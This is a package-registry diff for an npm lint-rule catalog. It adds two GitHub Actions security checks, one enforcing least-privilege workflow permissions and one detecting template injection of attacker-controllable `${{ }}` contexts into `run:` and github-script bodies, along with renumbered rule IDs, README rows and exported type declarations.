@noctcore/lint-meta-rules 0.4.1 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -45,7 +45,8 @@ over the whole catalog.
45
45
  13 nightcore lint-meta rules are ported as 12 factories — nightcore's `web-file-size-ratchet` and
46
46
  `engine-file-size-ratchet` were byte-identical logic and collapse into a single
47
47
  `createFileSizeRatchetRule` (instantiated once per capped area). Five CI-hygiene rules (category
48
- `ci`) are ported from a production NestJS + Vite monorepo, one factory each, for 17 factories in all.
48
+ `ci`) are ported from a production NestJS + Vite monorepo, one factory each, and two GitHub Actions
49
+ security rules (also `ci`) are written for this catalog, for 19 factories in all.
49
50
 
50
51
  | Factory | Source rule(s) | Category | What it enforces |
51
52
  | --- | --- | --- | --- |
@@ -63,6 +64,8 @@ over the whole catalog.
63
64
  | [`createTestRunnerSegregationRule`](./docs/rules/test-runner-segregation.md) | `test-runner-segregation` | testing | Bun-side and foreign-side test runners are never mixed within a package. |
64
65
  | [`createGithubActionsShaPinnedRule`](./docs/rules/github-actions-sha-pinned.md) | `github-actions-sha-pinned` | ci | Workflow `uses:` refs are pinned to a full commit SHA with a `# vN` comment. |
65
66
  | [`createGithubActionsRunnerPinnedRule`](./docs/rules/github-actions-runner-pinned.md) | `github-actions-runner-pinned` | ci | Workflow jobs run on a named runner image, never a `*-latest` label. |
67
+ | [`createGithubActionsNoTemplateInjectionRule`](./docs/rules/github-actions-no-template-injection.md) | `github-actions-no-template-injection` | ci | `run:` and github-script bodies never expand attacker-controllable `${{ }}` context (issue/PR titles, comments, branch names). |
68
+ | [`createGithubActionsLeastPrivilegePermissionsRule`](./docs/rules/github-actions-least-privilege-permissions.md) | `github-actions-least-privilege-permissions` | ci | A workflow's top-level `permissions:` exists, is not `write-all`/`read-all`, and grants no write. |
66
69
  | [`createServiceImageDigestPinRule`](./docs/rules/service-image-digest-pin.md) | `service-image-digest-pin` | ci | Workflow service/container images and compose images are pinned by `@sha256:` digest. |
67
70
  | [`createDockerfileBaseImageDigestPinRule`](./docs/rules/dockerfile-base-image-digest-pin.md) | `dockerfile-base-image-digest-pin` | ci | Dockerfile `FROM` base images are pinned by `@sha256:` digest. |
68
71
  | [`createSecurityScannerVersionParityRule`](./docs/rules/security-scanner-version-parity.md) | `security-scanner-version-parity` | ci | CI and the local pre-push hook pin the same secret-scanner version, and the hook checks it at run time. |
package/dist/index.cjs CHANGED
@@ -28,6 +28,8 @@ __export(index_exports, {
28
28
  createCanonicalHelpersSingleHomeRule: () => createCanonicalHelpersSingleHomeRule,
29
29
  createDockerfileBaseImageDigestPinRule: () => createDockerfileBaseImageDigestPinRule,
30
30
  createFileSizeRatchetRule: () => createFileSizeRatchetRule,
31
+ createGithubActionsLeastPrivilegePermissionsRule: () => createGithubActionsLeastPrivilegePermissionsRule,
32
+ createGithubActionsNoTemplateInjectionRule: () => createGithubActionsNoTemplateInjectionRule,
31
33
  createGithubActionsRunnerPinnedRule: () => createGithubActionsRunnerPinnedRule,
32
34
  createGithubActionsShaPinnedRule: () => createGithubActionsShaPinnedRule,
33
35
  createLayerRankRule: () => createLayerRankRule,
@@ -326,8 +328,293 @@ function createFileSizeRatchetRule(options = {}) {
326
328
  };
327
329
  }
328
330
 
331
+ // src/rules/github-actions-least-privilege-permissions.ts
332
+ var RULE_ID2 = "github-actions-least-privilege-permissions";
333
+ var TOP_KEY = /^([\w-]+):\s*(.*)$/u;
334
+ var SCOPE_ENTRY = /^\s*['"]?([\w-]+)['"]?:\s*['"]?([\w-]+)['"]?\s*$/u;
335
+ function indentOf(line) {
336
+ return /^\s*/u.exec(line)?.[0].length ?? 0;
337
+ }
338
+ function isContent(line) {
339
+ const trimmed = line.trim();
340
+ return trimmed !== "" && !trimmed.startsWith("#");
341
+ }
342
+ function topLevelKeys(lines) {
343
+ const keys = [];
344
+ lines.forEach((line, index) => {
345
+ const match = TOP_KEY.exec(line);
346
+ if (match === null) return;
347
+ keys.push({ key: unquote(match[1] ?? ""), value: stripYamlComment(match[2] ?? "").trim(), index });
348
+ });
349
+ return keys;
350
+ }
351
+ function blockOf(lines, index) {
352
+ const block = [];
353
+ for (let j = index + 1; j < lines.length; j += 1) {
354
+ const line = lines[j] ?? "";
355
+ if (!isContent(line)) continue;
356
+ if (indentOf(line) === 0) break;
357
+ block.push({ text: stripYamlComment(line), index: j });
358
+ }
359
+ return block;
360
+ }
361
+ function scopeEntries(lines, permissions) {
362
+ if (permissions.value.startsWith("{")) {
363
+ return permissions.value.replace(/^\{|\}$/gu, "").split(",").map((pair) => SCOPE_ENTRY.exec(pair)).filter((match) => match !== null).map((match) => ({ scope: match[1] ?? "", level: match[2] ?? "", line: permissions.index + 1 }));
364
+ }
365
+ return blockOf(lines, permissions.index).flatMap(({ text, index }) => {
366
+ const match = SCOPE_ENTRY.exec(text);
367
+ return match === null ? [] : [{ scope: match[1] ?? "", level: match[2] ?? "", line: index + 1 }];
368
+ });
369
+ }
370
+ function jobsWithoutPermissions(lines, jobs) {
371
+ const block = blockOf(lines, jobs.index);
372
+ const jobColumn = indentOf(block[0]?.text ?? "");
373
+ const missing = [];
374
+ let current;
375
+ let keyColumn = -1;
376
+ const settle = () => {
377
+ if (current !== void 0 && !current.hasPermissions) missing.push(current.name);
378
+ };
379
+ for (const { text } of block) {
380
+ const column = indentOf(text);
381
+ if (column === jobColumn) {
382
+ settle();
383
+ current = { name: unquote(text.trim().replace(/:.*$/u, "")), hasPermissions: false };
384
+ keyColumn = -1;
385
+ continue;
386
+ }
387
+ if (current === void 0 || column < jobColumn) continue;
388
+ if (keyColumn === -1) keyColumn = column;
389
+ if (column === keyColumn && /^\s*permissions:/u.test(text)) current.hasPermissions = true;
390
+ }
391
+ settle();
392
+ return missing;
393
+ }
394
+ function checkWorkflowPermissions(file, text, allowTopLevelWrite = []) {
395
+ const lines = text.split("\n");
396
+ const keys = topLevelKeys(lines);
397
+ const permissions = keys.find((entry) => entry.key === "permissions");
398
+ const report = (line, message) => ({
399
+ file,
400
+ rule: RULE_ID2,
401
+ message: `line ${line}: ${message}`,
402
+ line
403
+ });
404
+ if (permissions === void 0) {
405
+ const jobs = keys.find((entry) => entry.key === "jobs");
406
+ const missing = jobs === void 0 ? [] : jobsWithoutPermissions(lines, jobs);
407
+ if (missing.length === 0) return [];
408
+ return [
409
+ report(
410
+ 1,
411
+ `no top-level \`permissions:\`, so ${missing.map((job) => `\`${job}\``).join(", ")} ${missing.length === 1 ? "runs" : "run"} with the repository's default token, which can be read-write. Add \`permissions: { contents: read }\` at the top and grant writes on the job that needs them.`
412
+ )
413
+ ];
414
+ }
415
+ const shorthand = unquote(permissions.value);
416
+ if (shorthand === "write-all" || shorthand === "read-all") {
417
+ return [
418
+ report(
419
+ permissions.index + 1,
420
+ `top-level \`permissions: ${shorthand}\` grants every scope to every job. List only the scopes the workflow reads (for example \`contents: read\`) and grant writes on the job that needs them.`
421
+ )
422
+ ];
423
+ }
424
+ const allowed = new Set(allowTopLevelWrite);
425
+ return scopeEntries(lines, permissions).filter(({ scope, level }) => level === "write" && !allowed.has(scope)).map(
426
+ ({ scope, line }) => report(
427
+ line,
428
+ `top-level \`permissions\` grants \`${scope}: write\` to every job. Move it to the job that needs it and keep the top level read-only.`
429
+ )
430
+ );
431
+ }
432
+ function createGithubActionsLeastPrivilegePermissionsRule(options = {}) {
433
+ const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
434
+ const allowTopLevelWrite = options.allowTopLevelWrite ?? [];
435
+ const ciCritical = options.ciCritical ?? true;
436
+ return {
437
+ id: RULE_ID2,
438
+ category: "ci",
439
+ ciCritical,
440
+ description: "GitHub Actions workflows declare a read-only top-level `permissions:` (no `write-all`/`read-all`, no `<scope>: write`); writes go on the job that needs them.",
441
+ run(ctx) {
442
+ return globFiles((p) => ctx.glob(p), workflowGlobs).flatMap(
443
+ (file) => checkWorkflowPermissions(file, ctx.read(file) ?? "", allowTopLevelWrite)
444
+ );
445
+ }
446
+ };
447
+ }
448
+
449
+ // src/rules/github-actions-no-template-injection.ts
450
+ var RULE_ID3 = "github-actions-no-template-injection";
451
+ var DEFAULT_ACTION_GLOBS = anywhereGlobs(["action.yml", "action.yaml"]);
452
+ var EVENT = String.raw`(?<![\w.])github\.event\.`;
453
+ var ANY_ITEM = String.raw`(?:\.\*|\[\d+\])`;
454
+ var TAINTED_CONTEXTS = [
455
+ new RegExp(String.raw`${EVENT}(?:issue|pull_request|discussion)\.(?:title|body)\b`, "u"),
456
+ new RegExp(String.raw`${EVENT}pull_request\.head\.(?:ref|label)\b`, "u"),
457
+ new RegExp(String.raw`${EVENT}(?:comment|review|review_comment)\.body\b`, "u"),
458
+ new RegExp(String.raw`${EVENT}pages${ANY_ITEM}\.page_name\b`, "u"),
459
+ new RegExp(String.raw`${EVENT}commits${ANY_ITEM}\.(?:message|author|committer)\b`, "u"),
460
+ new RegExp(String.raw`${EVENT}head_commit\.(?:message|author|committer)\b`, "u"),
461
+ new RegExp(String.raw`${EVENT}workflow_run\.head_branch\b`, "u"),
462
+ new RegExp(String.raw`${EVENT}workflow_run\.head_commit\.(?:message|author|committer)\b`, "u"),
463
+ /(?<![\w.])github\.head_ref\b/u
464
+ ];
465
+ var INPUT_CONTEXT = /(?<![\w.])(?:github\.event\.)?inputs\.([\w-]+)/gu;
466
+ var STEP_OUTPUT_CONTEXT = /(?<![\w.])steps\.[\w-]+\.outputs\.[\w-]+/u;
467
+ var SAFE_INPUT_TYPES = /* @__PURE__ */ new Set(["boolean", "number", "choice"]);
468
+ var EXPRESSION = /\$\{\{(.*?)\}\}/gu;
469
+ var SCRIPT_KEY = /^(\s*)(-\s+)?(run|script):(?:\s+(.*))?$/u;
470
+ var BLOCK_INDICATOR = /^[|>][-+0-9]*\s*(?:#.*)?$/u;
471
+ var MAPPING_LINE = /^\s*[\w-]+:(?:\s|$)/u;
472
+ var GITHUB_SCRIPT_USES = /^\s*(?:-\s+)?uses:\s*['"]?actions\/github-script@/u;
473
+ function indentOf2(line) {
474
+ return /^\s*/u.exec(line)?.[0].length ?? 0;
475
+ }
476
+ function isContent2(line) {
477
+ const trimmed = line.trim();
478
+ return trimmed !== "" && !trimmed.startsWith("#");
479
+ }
480
+ function parentOf(lines, index, column) {
481
+ for (let j = index - 1; j >= 0; j -= 1) {
482
+ const line = lines[j] ?? "";
483
+ if (isContent2(line) && indentOf2(line) < column) return j;
484
+ }
485
+ return -1;
486
+ }
487
+ function isGithubScriptStep(lines, withIndex) {
488
+ const stepStart = parentOf(lines, withIndex, indentOf2(lines[withIndex] ?? ""));
489
+ const stepLine = lines[stepStart] ?? "";
490
+ if (!stepLine.trimStart().startsWith("-")) return false;
491
+ const dashColumn = indentOf2(stepLine);
492
+ for (let j = stepStart; j < lines.length; j += 1) {
493
+ const line = lines[j] ?? "";
494
+ if (j > stepStart && isContent2(line) && indentOf2(line) <= dashColumn) break;
495
+ if (GITHUB_SCRIPT_USES.test(line)) return true;
496
+ }
497
+ return false;
498
+ }
499
+ function safeInputNames(lines) {
500
+ const safe = /* @__PURE__ */ new Set();
501
+ lines.forEach((line, index) => {
502
+ if (!/^\s*inputs:\s*(?:#.*)?$/u.test(line)) return;
503
+ const column = indentOf2(line);
504
+ let nameColumn = -1;
505
+ let name = "";
506
+ for (const child of lines.slice(index + 1)) {
507
+ if (!isContent2(child)) continue;
508
+ const childColumn = indentOf2(child);
509
+ if (childColumn <= column) break;
510
+ if (nameColumn === -1) nameColumn = childColumn;
511
+ if (childColumn === nameColumn) {
512
+ name = /^\s*['"]?([\w-]+)['"]?:/u.exec(child)?.[1] ?? "";
513
+ continue;
514
+ }
515
+ const type = /^\s*type:\s*['"]?(\w+)/u.exec(stripYamlComment(child))?.[1];
516
+ if (type !== void 0 && SAFE_INPUT_TYPES.has(type) && name !== "") safe.add(name);
517
+ }
518
+ });
519
+ return safe;
520
+ }
521
+ function scriptLines(lines, index, keyColumn) {
522
+ const inline = SCRIPT_KEY.exec(lines[index] ?? "")?.[4] ?? "";
523
+ const block = BLOCK_INDICATOR.test(inline.trim());
524
+ const quoted = /^['"]/u.test(inline.trim());
525
+ const keep = (text) => block || quoted ? text : stripYamlComment(text);
526
+ const collected = block ? [] : [{ line: index + 1, text: keep(inline) }];
527
+ for (let j = index + 1; j < lines.length; j += 1) {
528
+ const line = lines[j] ?? "";
529
+ if (line.trim() !== "" && indentOf2(line) <= keyColumn) break;
530
+ collected.push({ line: j + 1, text: keep(line) });
531
+ }
532
+ const first = collected.find((entry) => entry.text.trim() !== "");
533
+ if (inline.trim() === "" && first !== void 0 && MAPPING_LINE.test(first.text)) return [];
534
+ return collected;
535
+ }
536
+ function taintedContexts(expression, checkInputs, checkStepOutputs, safeInputs) {
537
+ const found = [];
538
+ for (const pattern of TAINTED_CONTEXTS) {
539
+ const match = pattern.exec(expression);
540
+ if (match !== null) found.push(match[0]);
541
+ }
542
+ if (checkInputs) {
543
+ for (const match of expression.matchAll(INPUT_CONTEXT)) {
544
+ if (!safeInputs.has(match[1] ?? "")) found.push(match[0]);
545
+ }
546
+ }
547
+ if (checkStepOutputs) {
548
+ const match = STEP_OUTPUT_CONTEXT.exec(expression);
549
+ if (match !== null) found.push(match[0]);
550
+ }
551
+ return found;
552
+ }
553
+ function checkWorkflowTemplateInjection(file, text, options = {}) {
554
+ const checkInputs = options.checkInputs ?? true;
555
+ const checkStepOutputs = options.checkStepOutputs ?? false;
556
+ const lines = text.split("\n");
557
+ const safeInputs = checkInputs ? safeInputNames(lines) : /* @__PURE__ */ new Set();
558
+ const violations = [];
559
+ let skipThrough = -1;
560
+ lines.forEach((line, index) => {
561
+ const match = index > skipThrough ? SCRIPT_KEY.exec(line) : null;
562
+ if (match === null) return;
563
+ const keyColumn = (match[1]?.length ?? 0) + (match[2]?.length ?? 0);
564
+ const key = match[3] ?? "run";
565
+ if (key === "script") {
566
+ const parent = parentOf(lines, index, keyColumn);
567
+ if (!/^\s*with:\s*(?:#.*)?$/u.test(lines[parent] ?? "")) return;
568
+ if (!isGithubScriptStep(lines, parent)) return;
569
+ }
570
+ const where = key === "run" ? "`run:` script" : "`actions/github-script` `script:`";
571
+ const script = scriptLines(lines, index, keyColumn);
572
+ skipThrough = (script[script.length - 1]?.line ?? index + 1) - 1;
573
+ for (const entry of script) {
574
+ for (const expression of entry.text.matchAll(EXPRESSION)) {
575
+ const contexts = taintedContexts(
576
+ expression[1] ?? "",
577
+ checkInputs,
578
+ checkStepOutputs,
579
+ safeInputs
580
+ );
581
+ if (contexts.length === 0) continue;
582
+ violations.push({
583
+ file,
584
+ rule: RULE_ID3,
585
+ message: `line ${entry.line}: \`${expression[0]}\` expands attacker-controllable \`${contexts.join("`, `")}\` into a ${where}, where it runs as code. Pass it through \`env:\` (for example \`VALUE: ${expression[0]}\`) and read \`"$VALUE"\` instead.`,
586
+ line: entry.line
587
+ });
588
+ }
589
+ }
590
+ });
591
+ return violations;
592
+ }
593
+ function createGithubActionsNoTemplateInjectionRule(options = {}) {
594
+ const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
595
+ const actionGlobs = options.actionGlobs ?? DEFAULT_ACTION_GLOBS;
596
+ const skipDirs = options.skipDirs ?? DEFAULT_SKIP_DIRS;
597
+ const ciCritical = options.ciCritical ?? true;
598
+ return {
599
+ id: RULE_ID3,
600
+ category: "ci",
601
+ ciCritical,
602
+ description: "GitHub Actions `run:` and github-script bodies never expand attacker-controllable `${{ }}` context (issue/PR titles, comments, branch names); pass it through `env:` instead.",
603
+ run(ctx) {
604
+ const files = globFiles(
605
+ (p) => ctx.glob(p),
606
+ [...workflowGlobs, ...actionGlobs],
607
+ skipDirs
608
+ );
609
+ return files.flatMap(
610
+ (file) => checkWorkflowTemplateInjection(file, ctx.read(file) ?? "", options)
611
+ );
612
+ }
613
+ };
614
+ }
615
+
329
616
  // src/rules/github-actions-runner-pinned.ts
330
- var RULE_ID2 = "github-actions-runner-pinned";
617
+ var RULE_ID4 = "github-actions-runner-pinned";
331
618
  var RUNS_ON = /^(\s*)runs-on:\s*(.*)$/u;
332
619
  var DEFAULT_FLOATING_LABEL = /^[\w.-]+-latest$/u;
333
620
  function runnerLabels(lines, start, indent) {
@@ -359,7 +646,7 @@ function checkWorkflowRunnersPinned(file, text, floatingLabel = DEFAULT_FLOATING
359
646
  if (floatingLabel.test(label)) {
360
647
  violations.push({
361
648
  file,
362
- rule: RULE_ID2,
649
+ rule: RULE_ID4,
363
650
  message: `line ${index + 1}: \`runs-on\` uses the floating runner label "${label}". Pin a named image (for example \`ubuntu-24.04\`) so a runner image change is a reviewed diff.`,
364
651
  line: index + 1
365
652
  });
@@ -373,7 +660,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
373
660
  const floatingLabel = options.floatingLabel ?? DEFAULT_FLOATING_LABEL;
374
661
  const ciCritical = options.ciCritical ?? true;
375
662
  return {
376
- id: RULE_ID2,
663
+ id: RULE_ID4,
377
664
  category: "ci",
378
665
  ciCritical,
379
666
  description: "GitHub Actions jobs must run on a pinned runner image (for example ubuntu-24.04), never a *-latest label.",
@@ -386,7 +673,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
386
673
  }
387
674
 
388
675
  // src/rules/github-actions-sha-pinned.ts
389
- var RULE_ID3 = "github-actions-sha-pinned";
676
+ var RULE_ID5 = "github-actions-sha-pinned";
390
677
  var USES_LINE = /^\s*(?:-\s+)?uses:\s*['"]?([^\s'"#]+)['"]?\s*(#.*)?$/u;
391
678
  var FULL_SHA = /^[0-9a-f]{40}$/u;
392
679
  var DOCKER_DIGEST = /@sha256:[0-9a-f]{64}$/u;
@@ -401,7 +688,7 @@ function checkWorkflowActionsPinned(file, text) {
401
688
  }
402
689
  const where = `line ${index + 1}`;
403
690
  const report = (message) => {
404
- violations.push({ file, rule: RULE_ID3, message, line: index + 1 });
691
+ violations.push({ file, rule: RULE_ID5, message, line: index + 1 });
405
692
  };
406
693
  if (ref.startsWith("docker://")) {
407
694
  if (!DOCKER_DIGEST.test(ref)) {
@@ -429,7 +716,7 @@ function createGithubActionsShaPinnedRule(options = {}) {
429
716
  const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
430
717
  const ciCritical = options.ciCritical ?? true;
431
718
  return {
432
- id: RULE_ID3,
719
+ id: RULE_ID5,
433
720
  category: "ci",
434
721
  ciCritical,
435
722
  description: "GitHub Actions `uses:` refs must be pinned to a 40-character commit SHA with a `# vN` comment (local ./ actions exempt).",
@@ -654,7 +941,7 @@ function createPackageShapeRule(options = {}) {
654
941
  }
655
942
 
656
943
  // src/rules/security-scanner-version-parity.ts
657
- var RULE_ID4 = "security-scanner-version-parity";
944
+ var RULE_ID6 = "security-scanner-version-parity";
658
945
  function createSecurityScannerVersionParityRule(options = {}) {
659
946
  const scanner = options.scanner ?? "gitleaks";
660
947
  const versionVariable = options.versionVariable ?? "GITLEAKS_VERSION";
@@ -679,7 +966,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
679
966
  const runtimeCheck = new RegExp(`\\b${name}\\s+version\\b`, "u");
680
967
  const mentionsScanner = new RegExp(name, "iu");
681
968
  return {
682
- id: RULE_ID4,
969
+ id: RULE_ID6,
683
970
  category: "ci",
684
971
  ciCritical,
685
972
  description: `The ${scanner} version pinned in the workflows must equal the one in ${hookFile}, and the hook must compare a native ${scanner} against it at run time.`,
@@ -698,7 +985,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
698
985
  }
699
986
  const violations = [];
700
987
  const report = (file, message) => {
701
- violations.push({ file, rule: RULE_ID4, message });
988
+ violations.push({ file, rule: RULE_ID6, message });
702
989
  };
703
990
  if (ciVersions.size > 1) {
704
991
  report(
@@ -751,7 +1038,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
751
1038
  }
752
1039
 
753
1040
  // src/rules/service-image-digest-pin.ts
754
- var RULE_ID5 = "service-image-digest-pin";
1041
+ var RULE_ID7 = "service-image-digest-pin";
755
1042
  var DIGEST2 = /@sha256:[0-9a-f]{64}$/u;
756
1043
  var KEY_LINE = /^(\s*)(?:-\s+)?([\w-]+):\s*(.*)$/u;
757
1044
  var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
@@ -759,7 +1046,7 @@ var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
759
1046
  (stem) => ["", ".*", "-*"].flatMap((infix) => ["yml", "yaml"].map((ext) => `${stem}${infix}.${ext}`))
760
1047
  )
761
1048
  );
762
- function indentOf(line) {
1049
+ function indentOf3(line) {
763
1050
  return /^\s*/u.exec(line)?.[0].length ?? 0;
764
1051
  }
765
1052
  function workflowImages(text) {
@@ -811,7 +1098,7 @@ function composeImages(text) {
811
1098
  if (line.trim() === "" || line.trimStart().startsWith("#")) {
812
1099
  continue;
813
1100
  }
814
- const indent = indentOf(line);
1101
+ const indent = indentOf3(line);
815
1102
  if (indent === 0) {
816
1103
  break;
817
1104
  }
@@ -845,7 +1132,7 @@ function violationsFor(file, images, allowUnpinned) {
845
1132
  const reference = image.split("@")[0];
846
1133
  return {
847
1134
  file,
848
- rule: RULE_ID5,
1135
+ rule: RULE_ID7,
849
1136
  message: `line ${line}: image "${image}" is not pinned by digest. Write \`${reference}@sha256:<digest>\` (resolve it with \`docker buildx imagetools inspect ${reference}\`) so CI and local runs use the same bytes.`,
850
1137
  line
851
1138
  };
@@ -858,7 +1145,7 @@ function createServiceImageDigestPinRule(options = {}) {
858
1145
  const allowUnpinned = new Set(options.allowUnpinned ?? []);
859
1146
  const ciCritical = options.ciCritical ?? true;
860
1147
  return {
861
- id: RULE_ID5,
1148
+ id: RULE_ID7,
862
1149
  category: "ci",
863
1150
  ciCritical,
864
1151
  description: "Workflow service and container images, and docker-compose images, must be pinned by `@sha256:` digest (a service that builds locally is exempt).",
@@ -1143,6 +1430,8 @@ var RULE_FACTORIES = {
1143
1430
  "canonical-helpers-single-home": createCanonicalHelpersSingleHomeRule,
1144
1431
  "dockerfile-base-image-digest-pin": createDockerfileBaseImageDigestPinRule,
1145
1432
  "file-size-ratchet": createFileSizeRatchetRule,
1433
+ "github-actions-least-privilege-permissions": createGithubActionsLeastPrivilegePermissionsRule,
1434
+ "github-actions-no-template-injection": createGithubActionsNoTemplateInjectionRule,
1146
1435
  "github-actions-runner-pinned": createGithubActionsRunnerPinnedRule,
1147
1436
  "github-actions-sha-pinned": createGithubActionsShaPinnedRule,
1148
1437
  "layer-rank": createLayerRankRule,
@@ -1171,6 +1460,8 @@ function createAllRules() {
1171
1460
  createCanonicalHelpersSingleHomeRule,
1172
1461
  createDockerfileBaseImageDigestPinRule,
1173
1462
  createFileSizeRatchetRule,
1463
+ createGithubActionsLeastPrivilegePermissionsRule,
1464
+ createGithubActionsNoTemplateInjectionRule,
1174
1465
  createGithubActionsRunnerPinnedRule,
1175
1466
  createGithubActionsShaPinnedRule,
1176
1467
  createLayerRankRule,
package/dist/index.d.cts CHANGED
@@ -116,6 +116,46 @@ interface FileSizeRatchetOptions {
116
116
  */
117
117
  declare function createFileSizeRatchetRule(options?: FileSizeRatchetOptions): IMetaRule;
118
118
 
119
+ /** Options for {@link createGithubActionsLeastPrivilegePermissionsRule}. */
120
+ interface GithubActionsLeastPrivilegePermissionsOptions {
121
+ /** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
122
+ readonly workflowGlobs?: readonly string[];
123
+ /**
124
+ * Scopes allowed at `write` in the top-level `permissions:` block (for example `contents` in a
125
+ * release workflow whose every job pushes). Default none.
126
+ */
127
+ readonly allowTopLevelWrite?: readonly string[];
128
+ /** Whether a violation fails CI. Default `true`. */
129
+ readonly ciCritical?: boolean;
130
+ }
131
+ /** A workflow's top-level `permissions:` exists, is not `*-all`, and grants no write. */
132
+ declare function createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule;
133
+
134
+ /** Options for {@link createGithubActionsNoTemplateInjectionRule}. */
135
+ interface GithubActionsNoTemplateInjectionOptions {
136
+ /** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
137
+ readonly workflowGlobs?: readonly string[];
138
+ /** Globs that find composite action metadata. Default `action.yml` / `action.yaml` at any depth. */
139
+ readonly actionGlobs?: readonly string[];
140
+ /** An action path with any of these segments is skipped. Default `node_modules`, `.git`, `dist`, `.turbo`, `coverage`. */
141
+ readonly skipDirs?: readonly string[];
142
+ /**
143
+ * Treat `inputs.<name>` (and `github.event.inputs.<name>`) as attacker-controlled. An input the
144
+ * same file declares with `type: boolean`, `number` or `choice` is still left alone: its value
145
+ * cannot carry a script. Default `true`.
146
+ */
147
+ readonly checkInputs?: boolean;
148
+ /**
149
+ * Treat `steps.<id>.outputs.<name>` as attacker-controlled. An output is only as tainted as
150
+ * whatever the step wrote into it, which the text cannot show. Default `false`.
151
+ */
152
+ readonly checkStepOutputs?: boolean;
153
+ /** Whether a violation fails CI. Default `true`. */
154
+ readonly ciCritical?: boolean;
155
+ }
156
+ /** No attacker-controllable `${{ }}` expression may be expanded into a `run:` or github-script body. */
157
+ declare function createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule;
158
+
119
159
  /**
120
160
  * Options for {@link createGithubActionsRunnerPinnedRule}.
121
161
  *
@@ -499,6 +539,8 @@ declare const RULE_FACTORIES: {
499
539
  readonly 'canonical-helpers-single-home': typeof createCanonicalHelpersSingleHomeRule;
500
540
  readonly 'dockerfile-base-image-digest-pin': typeof createDockerfileBaseImageDigestPinRule;
501
541
  readonly 'file-size-ratchet': typeof createFileSizeRatchetRule;
542
+ readonly 'github-actions-least-privilege-permissions': typeof createGithubActionsLeastPrivilegePermissionsRule;
543
+ readonly 'github-actions-no-template-injection': typeof createGithubActionsNoTemplateInjectionRule;
502
544
  readonly 'github-actions-runner-pinned': typeof createGithubActionsRunnerPinnedRule;
503
545
  readonly 'github-actions-sha-pinned': typeof createGithubActionsShaPinnedRule;
504
546
  readonly 'layer-rank': typeof createLayerRankRule;
@@ -518,4 +560,4 @@ declare const RULE_IDS: (keyof typeof RULE_FACTORIES)[];
518
560
  /** Instantiate every catalog rule with its default options. */
519
561
  declare function createAllRules(): IMetaRule[];
520
562
 
521
- export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };
563
+ export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsLeastPrivilegePermissionsOptions, type GithubActionsNoTemplateInjectionOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsLeastPrivilegePermissionsRule, createGithubActionsNoTemplateInjectionRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };
package/dist/index.d.ts CHANGED
@@ -116,6 +116,46 @@ interface FileSizeRatchetOptions {
116
116
  */
117
117
  declare function createFileSizeRatchetRule(options?: FileSizeRatchetOptions): IMetaRule;
118
118
 
119
+ /** Options for {@link createGithubActionsLeastPrivilegePermissionsRule}. */
120
+ interface GithubActionsLeastPrivilegePermissionsOptions {
121
+ /** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
122
+ readonly workflowGlobs?: readonly string[];
123
+ /**
124
+ * Scopes allowed at `write` in the top-level `permissions:` block (for example `contents` in a
125
+ * release workflow whose every job pushes). Default none.
126
+ */
127
+ readonly allowTopLevelWrite?: readonly string[];
128
+ /** Whether a violation fails CI. Default `true`. */
129
+ readonly ciCritical?: boolean;
130
+ }
131
+ /** A workflow's top-level `permissions:` exists, is not `*-all`, and grants no write. */
132
